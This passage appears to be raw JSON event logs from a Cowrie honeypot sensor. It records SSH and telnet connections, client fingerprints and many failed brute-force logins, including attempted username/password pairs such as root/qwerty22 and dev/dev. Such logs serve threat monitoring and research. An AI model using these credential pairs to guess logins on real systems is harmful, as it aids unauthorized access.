ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:13.983265Z","src_ip":"43.130.36.39","session":"5c6328ee58d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:14.213175Z","src_ip":"103.153.68.219","session":"4666e9e00cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"12345","message":"login attempt [ts3server/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:14.294200Z","src_ip":"43.130.36.39","session":"5c6328ee58d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34158,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b8880172442","protocol":"ssh","message":"New connection: 45.153.34.112:34158 (10.17.0.5:22) [session: 4b8880172442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:14.396108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:14.402848Z","src_ip":"45.153.34.112","session":"4b8880172442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:14.411875Z","src_ip":"170.106.177.3","session":"a1f0b4cd3339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:14.486864Z","src_ip":"45.153.34.112","session":"4b8880172442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:14.736269Z","src_ip":"45.153.34.112","session":"4b8880172442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234asdf","message":"login attempt [root/1234asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:14.947200Z","src_ip":"103.153.68.219","session":"4666e9e00cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58932,"dst_ip":"10.17.0.5","dst_port":23,"session":"0afb75bfcb75","protocol":"telnet","message":"New connection: 192.119.13.58:58932 (10.17.0.5:23) [session: 0afb75bfcb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:15.027802Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:15.366113Z","src_ip":"43.130.36.39","session":"5c6328ee58d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:15.854680Z","src_ip":"45.153.34.112","session":"4b8880172442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:16.199511Z","src_ip":"103.153.68.219","session":"4666e9e00cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34174,"dst_ip":"10.17.0.5","dst_port":22,"session":"201f80a41b9d","protocol":"ssh","message":"New connection: 45.153.34.112:34174 (10.17.0.5:22) [session: 201f80a41b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:17.914744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:18.054152Z","src_ip":"45.153.34.112","session":"201f80a41b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:18.058254Z","src_ip":"45.153.34.112","session":"201f80a41b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:18.413901Z","src_ip":"45.153.34.112","session":"201f80a41b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47276,"dst_ip":"10.17.0.5","dst_port":23,"session":"68edd64f6d11","protocol":"telnet","message":"New connection: 192.119.13.58:47276 (10.17.0.5:23) [session: 68edd64f6d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:19.020789Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:19.504834Z","src_ip":"45.153.34.112","session":"201f80a41b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52372,"dst_ip":"10.17.0.5","dst_port":23,"session":"1869fd300d89","protocol":"telnet","message":"New connection: 192.119.13.58:52372 (10.17.0.5:23) [session: 1869fd300d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:20.302697Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57322,"dst_ip":"10.17.0.5","dst_port":22,"session":"60aa58cb9122","protocol":"ssh","message":"New connection: 45.153.34.112:57322 (10.17.0.5:22) [session: 60aa58cb9122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:21.664646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:21.668643Z","src_ip":"45.153.34.112","session":"60aa58cb9122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:21.750591Z","src_ip":"45.153.34.112","session":"60aa58cb9122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58806,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b875938fe37","protocol":"telnet","message":"New connection: 192.119.13.58:58806 (10.17.0.5:23) [session: 4b875938fe37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:21.842907Z"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:22.000473Z","src_ip":"45.153.34.112","session":"60aa58cb9122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":45620,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a90387d633","protocol":"ssh","message":"New connection: 103.183.114.55:45620 (10.17.0.5:22) [session: 92a90387d633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:22.140978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:22.146141Z","src_ip":"103.183.114.55","session":"92a90387d633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:22.378462Z","src_ip":"103.183.114.55","session":"92a90387d633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty22","message":"login attempt [root/qwerty22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:23.151234Z","src_ip":"103.183.114.55","session":"92a90387d633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:23.251022Z","src_ip":"45.153.34.112","session":"60aa58cb9122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:24.384733Z","src_ip":"103.183.114.55","session":"92a90387d633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.599982500076294,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:25.143307Z","src_ip":"192.119.13.58","session":"86d2da49aecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57336,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea10c44113f4","protocol":"ssh","message":"New connection: 45.153.34.112:57336 (10.17.0.5:22) [session: ea10c44113f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:25.225478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:25.231738Z","src_ip":"45.153.34.112","session":"ea10c44113f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:25.316885Z","src_ip":"45.153.34.112","session":"ea10c44113f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:25.744815Z","src_ip":"45.153.34.112","session":"ea10c44113f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:26.832414Z","src_ip":"45.153.34.112","session":"ea10c44113f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57340,"dst_ip":"10.17.0.5","dst_port":22,"session":"8daf089789cb","protocol":"ssh","message":"New connection: 45.153.34.112:57340 (10.17.0.5:22) [session: 8daf089789cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:28.913324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:28.918941Z","src_ip":"45.153.34.112","session":"8daf089789cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:29.003896Z","src_ip":"45.153.34.112","session":"8daf089789cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:29.256624Z","src_ip":"45.153.34.112","session":"8daf089789cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":47826,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ba8e133152","protocol":"ssh","message":"New connection: 194.113.233.25:47826 (159.203.135.109:22) [session: a3ba8e133152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:30.143886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:30.149699Z","src_ip":"194.113.233.25","session":"a3ba8e133152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:18:30.247554Z","src_ip":"194.113.233.25","session":"a3ba8e133152","protocol":"ssh"}
